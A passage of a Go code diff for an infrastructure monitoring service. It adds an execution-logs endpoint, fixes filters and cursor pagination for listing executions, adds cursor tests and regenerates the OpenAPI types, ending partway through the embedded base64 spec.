if len(cd.Config) > 0 && json.Unmarshal(cd.Config, &config) == nil && len(config) > 0 {
|
if len(cd.Config) > 0 && json.Unmarshal(cd.Config, &config) == nil && len(config) > 0 {
|
||||||
c.Config = &config
|
c.Config = &config
|
||||||
}
|
}
|
||||||
|
// Carried through so toggling a check does not blank its verdict in the
|
||||||
|
// UI — the entity window renders last_health to explain which probe is
|
||||||
|
// responsible for an entity's health, and a patch response missing it
|
||||||
|
// would erase that until the next poll.
|
||||||
|
c.LastRunAt = cd.LastRunAt
|
||||||
|
if cd.LastHealth != nil {
|
||||||
|
h := gen.CheckLastHealth(*cd.LastHealth)
|
||||||
|
c.LastHealth = &h
|
||||||
|
}
|
||||||
return c
|
return c
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,11 +3,22 @@ package httpapi
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
|
||||||
"github.com/dtoro/oikos/internal/checkdefaults"
|
"github.com/dtoro/oikos/internal/db"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"github.com/jackc/pgx/v5"
|
"github.com/jackc/pgx/v5"
|
||||||
)
|
)
|
||||||
|
|
||||||
func ensureDefaultChecks(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType string, attrsJSON []byte) {
|
// ensureDefaultChecks derives an entity's default checks from the monitoring
|
||||||
checkdefaults.Ensure(ctx, tx, entityID, slug, entityType, attrsJSON)
|
// kinds its type declares. Thin wrapper over the shared db.EnsureEntityChecks
|
||||||
|
// hook so the HTTP create/patch paths and the MCP entity-mutation tools stay
|
||||||
|
// in lockstep.
|
||||||
|
//
|
||||||
|
// Note the ordering caveat (carried from db.LoadTypeTree / checkdefaults.Ensure):
|
||||||
|
// an entity created through the API usually has no edges yet, so a type whose
|
||||||
|
// address comes from its host (a service) will produce no checks on this pass.
|
||||||
|
// That gap is real and deliberately visible — coverageSweep reports it, and
|
||||||
|
// the next inventory ingest fills it in once the hosting edge exists.
|
||||||
|
func ensureDefaultChecks(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType, name string, attrsJSON []byte) error {
|
||||||
|
_, err := db.EnsureEntityChecks(ctx, tx, entityID, slug, entityType, name, attrsJSON)
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -67,6 +67,7 @@ func (s *Server) CreateEntityType(ctx context.Context, req gen.CreateEntityTypeR
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||||
nil, "POST", "/api/v1/ontology/entity-types", "",
|
nil, "POST", "/api/v1/ontology/entity-types", "",
|
||||||
|
nil,
|
||||||
map[string]any{"name": req.Body.Name, "domain": req.Body.Domain}); auditErr != nil {
|
map[string]any{"name": req.Body.Name, "domain": req.Body.Domain}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -148,6 +149,7 @@ func (s *Server) PatchEntityType(ctx context.Context, req gen.PatchEntityTypeReq
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||||
nil, "PATCH", "/api/v1/ontology/entity-types/"+req.Name, "",
|
nil, "PATCH", "/api/v1/ontology/entity-types/"+req.Name, "",
|
||||||
|
nil,
|
||||||
map[string]any{"status": req.Body.Status}); auditErr != nil {
|
map[string]any{"status": req.Body.Status}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
55
internal/httpapi/execution_logs.go
Normal file
55
internal/httpapi/execution_logs.go
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/dtoro/oikos/internal/execlog"
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// serveExecutionLogs returns an execution's streamed command output.
|
||||||
|
//
|
||||||
|
// Registered as a carve-out rather than through the OpenAPI codegen for the
|
||||||
|
// same reason as /activity/recent: it is a recency-ordered projection with no
|
||||||
|
// schema type yet. Without this the execution_logs rows would be write-only —
|
||||||
|
// which is the exact shape of the bugs this whole change set has been about.
|
||||||
|
func (s *Server) serveExecutionLogs(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
rawID := chi.URLParam(req, "id")
|
||||||
|
execID, err := uuid.Parse(rawID)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid execution id", rawID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
limit := 1000
|
||||||
|
if l := req.URL.Query().Get("limit"); l != "" {
|
||||||
|
if n, perr := strconv.Atoi(l); perr == nil && n > 0 && n <= 5000 {
|
||||||
|
limit = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
chunks, err := execlog.Read(ctx, s.pool, execID, limit)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Also hand back the concatenation, since that is what a caller tailing
|
||||||
|
// output actually wants to render.
|
||||||
|
var combined strings.Builder
|
||||||
|
for _, c := range chunks {
|
||||||
|
combined.WriteString(c.Chunk)
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
_ = json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"items": chunks,
|
||||||
|
"combined": combined.String(),
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -4,6 +4,8 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
"github.com/dtoro/oikos/internal/domain"
|
"github.com/dtoro/oikos/internal/domain"
|
||||||
@@ -15,8 +17,22 @@ import (
|
|||||||
|
|
||||||
// ─── Executions ────────────────────────────────────────────────────────
|
// ─── Executions ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
// ListExecutions returns executions newest-first.
|
||||||
|
//
|
||||||
|
// The target/action/correlation_id filters are declared in the OpenAPI spec and
|
||||||
|
// generated into the request struct, but were never bound — so
|
||||||
|
// `GET /executions?target=<id>` silently returned the first page of the whole
|
||||||
|
// fleet. Ordering was by target slug, which is neither useful for a history
|
||||||
|
// view nor unique enough to paginate on: several executions share a target, so
|
||||||
|
// a slug cursor could skip or repeat rows.
|
||||||
func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsRequestObject) (gen.ListExecutionsResponseObject, error) {
|
func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsRequestObject) (gen.ListExecutionsResponseObject, error) {
|
||||||
limit := clampLimit(req.Params.Limit)
|
limit := clampLimit(req.Params.Limit)
|
||||||
|
|
||||||
|
cursorTime, cursorID, err := parseExecutionCursor(req.Params.Cursor)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
rows, err := s.pool.Query(ctx, `
|
rows, err := s.pool.Query(ctx, `
|
||||||
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
SELECT e.entity_id, e.classification_id::text, e.signal_entity_id::text,
|
||||||
e.target_entity_id, e.action, e.risk_class,
|
e.target_entity_id, e.action, e.risk_class,
|
||||||
@@ -27,10 +43,18 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
|||||||
FROM executions e
|
FROM executions e
|
||||||
JOIN entities te ON te.id = e.target_entity_id
|
JOIN entities te ON te.id = e.target_entity_id
|
||||||
WHERE ($1::text IS NULL OR e.status = $1)
|
WHERE ($1::text IS NULL OR e.status = $1)
|
||||||
AND ($2::text IS NULL OR te.slug > $2)
|
-- target accepts a slug or a uuid: the SPA passes an entity id,
|
||||||
ORDER BY te.slug
|
-- while a human poking the API reaches for the slug.
|
||||||
LIMIT $3`,
|
AND ($2::text IS NULL OR te.slug = $2 OR e.target_entity_id::text = $2)
|
||||||
req.Params.Status, req.Params.Cursor, limit+1)
|
-- the run tool encodes action as "run:{json}", so match the verb too
|
||||||
|
AND ($3::text IS NULL OR e.action = $3 OR split_part(e.action, ':', 1) = $3)
|
||||||
|
AND ($4::text IS NULL OR e.correlation_id = $4)
|
||||||
|
AND ($5::timestamptz IS NULL
|
||||||
|
OR (e.created_at, e.entity_id) < ($5::timestamptz, $6::uuid))
|
||||||
|
ORDER BY e.created_at DESC, e.entity_id DESC
|
||||||
|
LIMIT $7`,
|
||||||
|
req.Params.Status, req.Params.Target, req.Params.Action, req.Params.CorrelationId,
|
||||||
|
cursorTime, cursorID, limit+1)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -64,7 +88,9 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
|||||||
var next *string
|
var next *string
|
||||||
if len(items) > limit {
|
if len(items) > limit {
|
||||||
items = items[:limit]
|
items = items[:limit]
|
||||||
next = &items[len(items)-1].Slug
|
last := items[len(items)-1]
|
||||||
|
cursor := formatExecutionCursor(last.CreatedAt, last.Id)
|
||||||
|
next = &cursor
|
||||||
}
|
}
|
||||||
if items == nil {
|
if items == nil {
|
||||||
items = []gen.Execution{}
|
items = []gen.Execution{}
|
||||||
@@ -72,6 +98,32 @@ func (s *Server) ListExecutions(ctx context.Context, req gen.ListExecutionsReque
|
|||||||
return gen.ListExecutions200JSONResponse{Items: items, NextCursor: next}, nil
|
return gen.ListExecutions200JSONResponse{Items: items, NextCursor: next}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Executions are ordered by (created_at DESC, entity_id DESC), so the cursor
|
||||||
|
// has to carry both — created_at alone is not unique, and paginating on a
|
||||||
|
// non-unique key drops or repeats rows at page boundaries.
|
||||||
|
func formatExecutionCursor(createdAt time.Time, id uuid.UUID) string {
|
||||||
|
return createdAt.UTC().Format(time.RFC3339Nano) + "," + id.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseExecutionCursor(cursor *string) (*time.Time, *uuid.UUID, error) {
|
||||||
|
if cursor == nil || *cursor == "" {
|
||||||
|
return nil, nil, nil
|
||||||
|
}
|
||||||
|
rawTime, rawID, ok := strings.Cut(*cursor, ",")
|
||||||
|
if !ok {
|
||||||
|
return nil, nil, domain.ErrInvalidInput
|
||||||
|
}
|
||||||
|
t, err := time.Parse(time.RFC3339Nano, rawTime)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, domain.ErrInvalidInput
|
||||||
|
}
|
||||||
|
id, err := uuid.Parse(rawID)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil, domain.ErrInvalidInput
|
||||||
|
}
|
||||||
|
return &t, &id, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (s *Server) GetExecution(ctx context.Context, req gen.GetExecutionRequestObject) (gen.GetExecutionResponseObject, error) {
|
func (s *Server) GetExecution(ctx context.Context, req gen.GetExecutionRequestObject) (gen.GetExecutionResponseObject, error) {
|
||||||
id, err := s.resolveEntityID(ctx, req.Id)
|
id, err := s.resolveEntityID(ctx, req.Id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -188,6 +240,7 @@ func (s *Server) RequestExecution(ctx context.Context, req gen.RequestExecutionR
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "create",
|
||||||
&id, "POST", "/api/v1/executions", "",
|
&id, "POST", "/api/v1/executions", "",
|
||||||
|
nil,
|
||||||
map[string]any{"action": req.Body.Action, "target": req.Body.Target}); auditErr != nil {
|
map[string]any{"action": req.Body.Action, "target": req.Body.Target}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
@@ -255,6 +308,7 @@ func (s *Server) CancelExecution(ctx context.Context, req gen.CancelExecutionReq
|
|||||||
actorType, actor := actorInfo(ctx)
|
actorType, actor := actorInfo(ctx)
|
||||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "cancel",
|
if auditErr := observability.Audit(ctx, q, actorType, actor, "cancel",
|
||||||
&id, "POST", "/api/v1/executions/"+req.Id+"/cancel", "",
|
&id, "POST", "/api/v1/executions/"+req.Id+"/cancel", "",
|
||||||
|
nil,
|
||||||
map[string]any{"status": "cancelled"}); auditErr != nil {
|
map[string]any{"status": "cancelled"}); auditErr != nil {
|
||||||
return nil, auditErr
|
return nil, auditErr
|
||||||
}
|
}
|
||||||
|
|||||||
64
internal/httpapi/executions_cursor_test.go
Normal file
64
internal/httpapi/executions_cursor_test.go
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The cursor carries both created_at and entity_id because executions are
|
||||||
|
// ordered by the pair. created_at alone is not unique — several executions can
|
||||||
|
// share a millisecond — and paginating on a non-unique key silently drops or
|
||||||
|
// repeats rows at page boundaries. The previous cursor was the target slug,
|
||||||
|
// which is far less unique still: every execution against the same host shares
|
||||||
|
// it.
|
||||||
|
func TestExecutionCursorRoundTrips(t *testing.T) {
|
||||||
|
created := time.Date(2026, 7, 28, 9, 15, 30, 123456789, time.UTC)
|
||||||
|
id := uuid.MustParse("018f3a2b-0000-7000-8000-000000000042")
|
||||||
|
|
||||||
|
cursor := formatExecutionCursor(created, id)
|
||||||
|
|
||||||
|
gotTime, gotID, err := parseExecutionCursor(&cursor)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parse: %v", err)
|
||||||
|
}
|
||||||
|
if !gotTime.Equal(created) {
|
||||||
|
t.Errorf("time round-trip: got %v, want %v", gotTime, created)
|
||||||
|
}
|
||||||
|
if *gotID != id {
|
||||||
|
t.Errorf("id round-trip: got %v, want %v", *gotID, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecutionCursorNanosecondsSurvive(t *testing.T) {
|
||||||
|
// Truncating to seconds would make the cursor ambiguous for executions
|
||||||
|
// started in the same second, which is the normal case for a plan whose
|
||||||
|
// steps run back to back.
|
||||||
|
a := time.Date(2026, 7, 28, 9, 15, 30, 1, time.UTC)
|
||||||
|
b := time.Date(2026, 7, 28, 9, 15, 30, 2, time.UTC)
|
||||||
|
id := uuid.New()
|
||||||
|
|
||||||
|
if formatExecutionCursor(a, id) == formatExecutionCursor(b, id) {
|
||||||
|
t.Error("cursors one nanosecond apart must not collide")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecutionCursorRejectsGarbage(t *testing.T) {
|
||||||
|
empty := ""
|
||||||
|
tm, id, err := parseExecutionCursor(&empty)
|
||||||
|
if err != nil || tm != nil || id != nil {
|
||||||
|
t.Errorf("empty cursor should mean 'no cursor', got %v/%v/%v", tm, id, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if tm, id, err := parseExecutionCursor(nil); err != nil || tm != nil || id != nil {
|
||||||
|
t.Errorf("nil cursor should mean 'no cursor', got %v/%v/%v", tm, id, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, bad := range []string{"nonsense", "2026-07-28T09:15:30Z", "notatime,018f3a2b-0000-7000-8000-000000000042", "2026-07-28T09:15:30Z,notauuid"} {
|
||||||
|
b := bad
|
||||||
|
if _, _, err := parseExecutionCursor(&b); err == nil {
|
||||||
|
t.Errorf("cursor %q should have been rejected", bad)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -86,6 +86,14 @@ const (
|
|||||||
CheckKindTcp CheckKind = "tcp"
|
CheckKindTcp CheckKind = "tcp"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Defines values for CheckLastHealth.
|
||||||
|
const (
|
||||||
|
CheckLastHealthDegraded CheckLastHealth = "degraded"
|
||||||
|
CheckLastHealthDown CheckLastHealth = "down"
|
||||||
|
CheckLastHealthHealthy CheckLastHealth = "healthy"
|
||||||
|
CheckLastHealthUnknown CheckLastHealth = "unknown"
|
||||||
|
)
|
||||||
|
|
||||||
// Defines values for CheckCreateKind.
|
// Defines values for CheckCreateKind.
|
||||||
const (
|
const (
|
||||||
CheckCreateKindCertExpiry CheckCreateKind = "cert-expiry"
|
CheckCreateKindCertExpiry CheckCreateKind = "cert-expiry"
|
||||||
@@ -273,10 +281,10 @@ const (
|
|||||||
|
|
||||||
// Defines values for TrendDirection.
|
// Defines values for TrendDirection.
|
||||||
const (
|
const (
|
||||||
Degrading TrendDirection = "degrading"
|
TrendDirectionDegrading TrendDirection = "degrading"
|
||||||
Improving TrendDirection = "improving"
|
TrendDirectionImproving TrendDirection = "improving"
|
||||||
Stable TrendDirection = "stable"
|
TrendDirectionStable TrendDirection = "stable"
|
||||||
Unknown TrendDirection = "unknown"
|
TrendDirectionUnknown TrendDirection = "unknown"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Defines values for ListApprovalsParamsStatus.
|
// Defines values for ListApprovalsParamsStatus.
|
||||||
@@ -462,7 +470,13 @@ type Check struct {
|
|||||||
Id openapi_types.UUID `json:"id"`
|
Id openapi_types.UUID `json:"id"`
|
||||||
IntervalS int `json:"interval_s"`
|
IntervalS int `json:"interval_s"`
|
||||||
Kind CheckKind `json:"kind"`
|
Kind CheckKind `json:"kind"`
|
||||||
Slug string `json:"slug"`
|
|
||||||
|
// LastHealth This check's own most recent verdict. An entity's health is the worst of these across its enabled checks, so this is what explains *why* an entity is degraded. Null until the check first runs.
|
||||||
|
LastHealth *CheckLastHealth `json:"last_health"`
|
||||||
|
|
||||||
|
// LastRunAt When this check last executed. Null = never run.
|
||||||
|
LastRunAt *time.Time `json:"last_run_at"`
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
|
||||||
// Target Entity slug (instance-scoped)
|
// Target Entity slug (instance-scoped)
|
||||||
Target *string `json:"target"`
|
Target *string `json:"target"`
|
||||||
@@ -477,6 +491,9 @@ type Check struct {
|
|||||||
// CheckKind defines model for Check.Kind.
|
// CheckKind defines model for Check.Kind.
|
||||||
type CheckKind string
|
type CheckKind string
|
||||||
|
|
||||||
|
// CheckLastHealth This check's own most recent verdict. An entity's health is the worst of these across its enabled checks, so this is what explains *why* an entity is degraded. Null until the check first runs.
|
||||||
|
type CheckLastHealth string
|
||||||
|
|
||||||
// CheckCreate defines model for CheckCreate.
|
// CheckCreate defines model for CheckCreate.
|
||||||
type CheckCreate struct {
|
type CheckCreate struct {
|
||||||
Config *map[string]interface{} `json:"config,omitempty"`
|
Config *map[string]interface{} `json:"config,omitempty"`
|
||||||
@@ -8208,175 +8225,177 @@ func (sh *strictHandler) GetTrends(w http.ResponseWriter, r *http.Request, entit
|
|||||||
// Base64 encoded, gzipped, json marshaled Swagger object
|
// Base64 encoded, gzipped, json marshaled Swagger object
|
||||||
var swaggerSpec = []string{
|
var swaggerSpec = []string{
|
||||||
|
|
||||||
"H4sIAAAAAAAC/+x963IbudXgq6C4WzXUpCn6MpPsyLU/FFljO7FjraXJt6mRiwK7D0mM0EAPgKbEuFyV",
|
"H4sIAAAAAAAC/+x963IbudXgq6C4WzXUpClq7JlkI9f3Q5E1thM71lqafJuKXBTYfUhihAZ6ADQlxuWq",
|
||||||
"X/sAW3nCPMlXuHY3iSabF1nOVP7YkhqNBs4FOPfzqZfyvOAMmJK9k0+9GeAMhPnx/ApP9f8ZyFSQQhHO",
|
"/NoH2MoT5km2cO1uEk02L7KcqfyxJTUaDZwLcO7nUy/lecEZMCV7p596M8AZCPPjxTWe6v8zkKkghSKc",
|
||||||
"eie9DyB5KVJAcxCScIYmXKA3k8E7rNJZL+nJdAY51u+pRQG9k55UgrBp7/Pnz0mvwALnoNwHzkohuVj9",
|
"9U57H0DyUqSA5iAk4QxNuEBvJoN3WKWzXtKT6QxyrN9TiwJ6pz2pBGHT3ufPn5NegQXOQbkPnJdCcrH6",
|
||||||
"xPsC/1oCSs1jNBE8RxgVAuaElxIJkAVnEr6RiMG9GtlhvaRH9Lu/liAWvaTHcK4/Hh62LyvpnTNF1OJN",
|
"ifcF/qUElJrHaCJ4jjAqBMwJLyUSIAvOJHwjEYMHNbLDekmP6Hd/KUEsekmP4Vx/PDxsX1bSu2CKqMWb",
|
||||||
"trqSn3568xJxgSQtp6gPx9NjdDPjUp3MyrEg8ubIf7bAalZ9lWS9pCfg15IIyHonSpTQZQWXtIwA3D5r",
|
"bHUlP/305iXiAklaTlEfjqfH6HbGpTqdlWNB5O2R/2yB1az6Ksl6SU/ALyURkPVOlSihywquaBkBuH3W",
|
||||||
"LOFOnuQ4HeSEkZsE3dD79CTFWbZoW49+d8sV/Sh4fkX025+igNVYaYB1wkWOVe+kl2EFA6VfTSLzvskg",
|
"WMK9PM1xOsgJI7cJuqUP6WmKs2zRth797pYr+lHw/Jrotz9FAaux0gDrhIscq95pL8MKBkq/mkTmfZNB",
|
||||||
"L7gCli7+DIvV3Z5RAkwNpsBAYAUZuoXFCySgoHgh0R1RM8LQs+9mSIAqBUNqBogLMiUM00AaHgqWmKtF",
|
"XnAFLF38CRaruz2nBJgaTIGBwAoydAeLF0hAQfFConuiZoShZ9/PkABVCobUDBAXZEoYpoE0PBQsMVeL",
|
||||||
"1z4+0F+vrz/H92+BTdWsd/L02f+KLn1iaXwVQ1d4WpEp4QK9Or96gb57+gxxFvgkJzJ3PBJfXMVD2yDq",
|
"rn18oL9eX3+OH94Cm6pZ7/S7Z/8ruvSJpfFVDF3jaUWmhAv06uL6Bfr+u2eIs8AnOZG545H44ioe2gZR",
|
||||||
"LcmJasMSNQ/rE2QwwSVVvZPvnyR6zyQv897Jsyf6N8Lsb0/D7glTMAVhPnTF19GD4ttTw2e9U4sxcx5c",
|
"b0lOVBuWqHlYnyCDCS6p6p3+cJLoPZO8zHunz070b4TZ374LuydMwRSE+dA1X0cPim9PDZ/1Ti3GzHlw",
|
||||||
"AMsIm54WheBzTPWfUs4UMLM/XBSUpFjDfPiL1ID/VPvg/xQw6Z30/sewOs6G9qkchgnNJ5fobYbZFJBU",
|
"CSwjbHpWFILPMdV/SjlTwMz+cFFQkmIN8+HPUgP+U+2D/1PApHfa+x/D6jgb2qdyGCY0n1yitxlmU0BS",
|
||||||
"eArZC4RRDgoPsHsD3WGJUgGGEvtZielAr0hwetT7nPQuBB9TyNcstLAjfrfdgv28kfWeC8EF6n/48Qz9",
|
"4SlkLxBGOSg8wO4NdI8lSgUYSuxnJaYDvSLB6VHvc9K7FHxMIV+z0MKO+M12C/bzRtZ7IQQXqP/hx3P0",
|
||||||
"8N33fzDLuCRThulPhYZ1djCo2Vlja3BfQtKP8Jg3WDydAlOnqSJzogyDF4IXIBSxSMbuychSw6ceME1z",
|
"++9/+J1ZxhWZMkx/KjSss4NBzc4aW4P7EpJ+hMe8weLZFJg6SxWZE2UYvBC8AKGIRTJ2T0aWGj71gGma",
|
||||||
"P/cU53SUYkoNA2DJmaYS/e2UaAbqJb08LUae7kCmmJp99T6ukFbSw3oVI5JFmCbppVwIsC+7IaykFI8p",
|
"+1tPcU5HKabUMACWnGkq0d9OiWagXtLL02Lk6Q5kiqnZV+/jCmklPaxXMSJZhGmSXsqFAPuyG8JKSvGY",
|
||||||
"eI5beSUrhR2fyzXjA78kPTDHdtfpGwutzUJYUaqRLPMci0WnmXiptn1FgpRbgEKWaQpyHRjGnFPATA9W",
|
"gue4lVeyUtjxuVwzPvBL0gNzbHedvrHQ2iyEFaUayTLPsVh0momXattXJEi5BShkmaYg14FhzDkFzPRg",
|
||||||
"/BbYKOWlJcfNcDNkYA+VDmuxQkvHu6c6Vn+2V7SSvRqlJEu0WZEVH/8CqdLfq59Nq3Rt2WuV3OwBMsKq",
|
"xe+AjVJeWnLcDDdDBvZQ6bAWK7R0vHuqY/Vv9opWslejlGSJNiuy4uOfIVX6e/WzaZWuLXutkps9QEZY",
|
||||||
"62It1Wfr39lMs26OcTcygPuCCJBbLdOSTBhblhauy8NuCcvqvA73kJbKMnXBKUkXg9QcxPp3rBQINjDI",
|
"dV2spfps/TubadbNMe5GBvBQEAFyq2Vakgljy9LCdXnYHWFZndfhAdJSWaYuOCXpYpCag1j/jpUCwQYG",
|
||||||
"aGfwAi8oxxGZzYhIGjdcQobs7Cgjk0k7yCr8CiJvRynFlrxXSd9JaKsPFFalrG+xsJeZpipDM5CZs4wR",
|
"Ge0MXuAF5TgisxkRSeOGS8iQnR1lZDJpB1mFX0Hk3Sil2JL3Kuk7CW31gcKqlPUtFvYy01RlaAYyc5Yx",
|
||||||
"84OFtRUT5/wWsugeZWkXtlYm1BJQuK9SzlIQTG4mjxg/ODnRkXIDGg6HYacNcmmQ+Dq2+VBS2Ip1cKk4",
|
"Yn6wsLZi4pzfQRbdoyztwtbKhFoCCvdVylkKgsnN5BHjBycnOlJuQMPhMOy0QS4NEl/HNh9KCluxDi4V",
|
||||||
"4/liRGEOtA5f/aS6Bgw/wBxEFI7uLPY3ThOW7/ACjQHhsVQCpwr1CZuBIEqijN+xoy6M1pELNhFXygsY",
|
"ZzxfjCjMgdbhq59U14DhB5iDiMLRncX+xmnC8h1eoDEgPJZK4FShPmEzEERJlPF7dtSF0TpywSbiSnkB",
|
||||||
"2bWuR7lWuQoQAzsW8TkIQTKQXdbqxNHYdRMjiTgtLKGlmnUT8s8MnTw+CeyLm/XM1AloUVCVGVHnTInF",
|
"I7vW9SjXKlcBYmDHIj4HIUgGsstanTgau25iJBGnhSW0VLNuQv65oZOnJ4F9cbOemToBLQqqMiPqgimx",
|
||||||
"diBKFRddr287eFn6MrdgL+npL2JlVeaFVOCVvKykLZDdRZgChQmtbaWCwGHEphzUjHebwmjKncQeY/YY",
|
"2A5EqeKi6/VtBy9LX+YW7CU9/UWsrMq8kAq8kpeVtAWyuwhToDChta1UEDiM2JSDmvFuUxhNuZPYY8we",
|
||||||
"kaLbaHNMjlKeQUe55wCSTIXZwLhxKrOEeAlK6RlXSO3WauZwj/NCr7k3pXyM6bGm4BFOVexwK61SsJX0",
|
"I1J0G22OyVHKM+go9xxAkqkwGxg3TmWWEK9AKT3jCqndWc0cHnBe6DX3ppSPMT3WFDzCqYodbqVVCraS",
|
||||||
"MMe0jLNj91Pq1ujxdqb159DZDNLb1c2mnE1IxO7yV0yJ1XP0Uetuvwi9arTWybAm/Ha8F/TWxBzTkYxT",
|
"HuaYlnF27H5K3Rk93s60/hw6n0F6t7rZlLMJidhd/oIpsXqOPmrd7RehV43WOhnWhN+O94LemphjOpJx",
|
||||||
"87L0NFOq0POk+t+MyFt9AYNQA3Mla3Bkgkw0lgorgUg5G9itxcWMNqlGYTGFDeJHnzCpMEthYM7IrNOF",
|
"al6WnmZKFXqeVP+bEXmnL2AQamCuZA2OTJCJxlJhJRApZwO7tSgHUyzVaAaYqohx43pGJEo16L6RiN8z",
|
||||||
"aSduuZDd7Poh6ut/t5qZ5MC1/hMH5Rq6Snp/56yL1rFGcnJUUkNofUUVtXQg1LabsiLXdbQYzDxtelmT",
|
"lHOpkIAUmEJzEBlJ1TE6Y8hy7jcS2ZkQkUY0uedCKsQn+hcJCKeCS4n09epAZyeXCZIcKf0xItH9DCsE",
|
||||||
"5sLw3z95knydFLiJhtZTQtjg0+j+PObXY7qO5Fa8XXgb4S5o24SnyLWxjt4/xxappREycTah3SSx1J+k",
|
"DwXFhEn07f1s8S3C/hN6QAZTgTPIjtGfS0pRyRSh5nNmMjQh+qOiZPJYXxAebmZhBj7udf0jv9cndcnu",
|
||||||
"K0PGFEs1EjgjVhsiCvK4ROX+gIXAi7gYcRA9uuMR7JTOkUFTBixddxCwMh9b6Fd2qhhiBaQ8z4EZPT6A",
|
"mP7pY4cr1MBLlMzRehNe/z0DZvdhl6IHIyvvhuX+FzIXlV6gXt9u0n2rLKqwmMIGobFPmFSYpTAwN1vW",
|
||||||
"dV8dVPBSwbIYPLC3ck0UnnHaolQaq11nY88toZ0HV9y6wxEaF5rtbpsWwSVS2ah9Wp/CGWcK7lWE4o0B",
|
"ScyxE7eIUW52/RD19b9bzUxy4FprjTPAmtMg6f2dsy664hp51/F2jQ3rK6p4vMPx0ibfVIfMuhMkGOfa",
|
||||||
"aEIoyJG1QkSsChdYzSTiE2RGI33pidKsGJk3kZphhfzryRaEL4mjtuYHr0gOUuG8MNqeVvIZ3CtUcEqR",
|
"tOnmSRGG//bkJHmCc6MDBW6iofWUEDb4XXR/HvPrMV1HciveLr1ldxe0bcJT5LJfR++fY4vUMiSZOEve",
|
||||||
"hh1IjfBuTCB5IS1pT9t3eCVKQGSCjvXo4wXO9XdSUmjYydrOYjY+TruAzowbfnssQZXFsZztDrPaNb6k",
|
